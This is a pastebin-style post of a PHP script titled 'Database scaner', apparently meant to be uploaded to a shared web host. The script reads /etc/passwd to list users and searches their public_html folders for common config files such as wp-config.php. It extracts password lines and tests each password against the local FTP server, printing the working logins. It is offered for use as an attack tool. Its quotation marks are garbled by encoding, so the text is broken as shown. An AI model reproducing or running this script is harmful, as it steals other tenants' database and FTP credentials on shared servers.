Database scaner


SUBMITTED BY: XGrats

DATE: Sept. 30, 2023, 7:26 a.m.

FORMAT: Text only

SIZE: 3.9 kB

HITS: 252

  1. <?php
  2. echo ***8220;<html>***8221;;
  3. echo ***8220;<title>[ Database Scanner]</title><body>***8221;;
  4. set_time_limit(0);
  5. ##################
  6. @$passwd=fopen(***8216;/etc/passwd***8217;,'r***8217;);
  7. if (!$passwd) {
  8. echo ***8220;[-] Error : Can***8217;t read /etc/passwd***8221;;
  9. exit;
  10. }
  11. $path_to_public=array();
  12. $users=array();
  13. $pathtoconf=array();
  14. $i=0;
  15. while(!feof($passwd)) {
  16. $str=fgets($passwd);
  17. if ($i>35) {
  18. $pos=strpos($str,***8221;:***8221;);
  19. $username=substr($str,0,$pos);
  20. $dirz=***8221;/home/$username/public_html/***8221;;
  21. if (($username!=***8221;")) {
  22. if (is_readable($dirz)) {
  23. array_push($users,$username);
  24. array_push($path_to_public,$dirz);
  25. }
  26. }
  27. }
  28. $i++;
  29. }
  30. ###################
  31. #########################
  32. echo ***8220;<br><br>***8221;;
  33. echo ***8220;<textarea name=***8217;main_window***8217; cols=100 rows=20>***8221;;
  34. echo ***8220;[+] Founded ***8220;.sizeof($users).***8221; entrys in /etc/passwd\n***8221;;
  35. echo ***8220;[+] Founded ***8220;.sizeof($path_to_public).***8221; readable public_html directories\n***8221;;
  36. echo ***8220;[~] Searching for passwords in config.* files***8230;\n\n***8221;;
  37. foreach ($users as $user) {
  38. $path=***8221;/home/$user/public_html/***8221;;
  39. read_dir($path,$user);
  40. }
  41. echo ***8220;\n[+] Done\n***8221;;
  42. function read_dir($path,$username) {
  43. if ($handle = opendir($path)) {
  44. while (false !== ($file = readdir($handle))) {
  45. $fpath=***8221;$path$file***8221;;
  46. if (($file!=***8217;.') and ($file!=***8217;..***8217;)) {
  47. if (is_readable($fpath)) {
  48. $dr=***8221;$fpath/***8221;;
  49. if (is_dir($dr)) {
  50. read_dir($dr,$username);
  51. }
  52. else {
  53. if (($file==***8217;config.php***8217;) or ($file==***8217;header.inc.php***8217;) or ($file==***8217;content.inc.php***8217;) or ($file==***8217;mainfile.php***8217;) or ($file==***8217;utils.inc.php***8217;) or ($file==***8217;main.php***8217;) or ($file==***8217;config.inc.php***8217;) or ($file==***8217;db.inc.php***8217;) or ($file==***8217;connect.php***8217;) or ($file==***8217;wp-config.php***8217;) or ($file==***8217;var.php***8217;) or ($file==***8217;configure.php***8217;) or ($file==***8217;configuration.php***8217;) or ($file==***8217;configurations.php***8217;) or ($file==***8217;configs.php***8217;) or ($file==***8217;config.locale.php***8217;) or ($file==***8217;db.inc.php***8217;) or ($file==***8217;dbconnect.inc.php***8217;) or ($file==***8217;dbconnection.php***8217;) or ($file==***8217;var.php***8217;) or ($file==***8217;mysql.php***8217;) or ($file==***8217;global.inc.php***8217;) or ($file==***8217;database.php***8217;) or ($file==***8217;dbconnect.php***8217;) or ($file==***8217;conf.php***8217;) or ($file==***8217;configDB.inc.php***8217;) or ($file==***8217;db.php***8217;) or ($file==***8217;db_connect.php***8217;)) {
  54. $pass=get_pass($fpath);
  55. if ($pass!=***8221;) {
  56. echo ***8220;[+] $fpath\n$pass\n***8221;;
  57. ftp_check($username,$pass);
  58. }
  59. }
  60. }
  61. }
  62. }
  63. }
  64. }
  65. }
  66. function get_pass($link) {
  67. @$config=fopen($link,***8217;r');
  68. while(!feof($config)) {
  69. $line=fgets($config);
  70. if (strstr($line,***8217;pass***8217;) or strstr($line,***8217;password***8217;) or strstr($line,***8217;passwd***8217;)) {
  71. if (strrpos($line,***8217;***8221;***8216;))
  72. $pass=substr($line,(strpos($line,***8217;=')+3),(strrpos($line,***8217;***8221;* **8216;)-(strpos($line,***8217;=')+3)));
  73. else
  74. $pass=substr($line,(strpos($line,***8217;=')+3),(strrpos($line,***8221;***8216;* **8221;)-(strpos($line,***8217;=')+3)));
  75. return $pass;
  76. }
  77. }
  78. }
  79. function ftp_check($login,$pass) {
  80. @$ftp=ftp_connect(***8217;127.0.0.1***8242;);
  81. if ($ftp) {
  82. @$res=ftp_login($ftp,$login,$pass);
  83. if ($res) {
  84. echo ***8216;[FTP] ***8216;.$login.***8217;:***8217;.$pass.***8221; Success\n***8221;;
  85. }
  86. else ftp_quit($ftp);
  87. }
  88. }
  89. echo ***8220;</textarea><br>***8221;;
  90. echo ***8220;</body></html>***8221;;
  91. ?>

comments powered by Disqus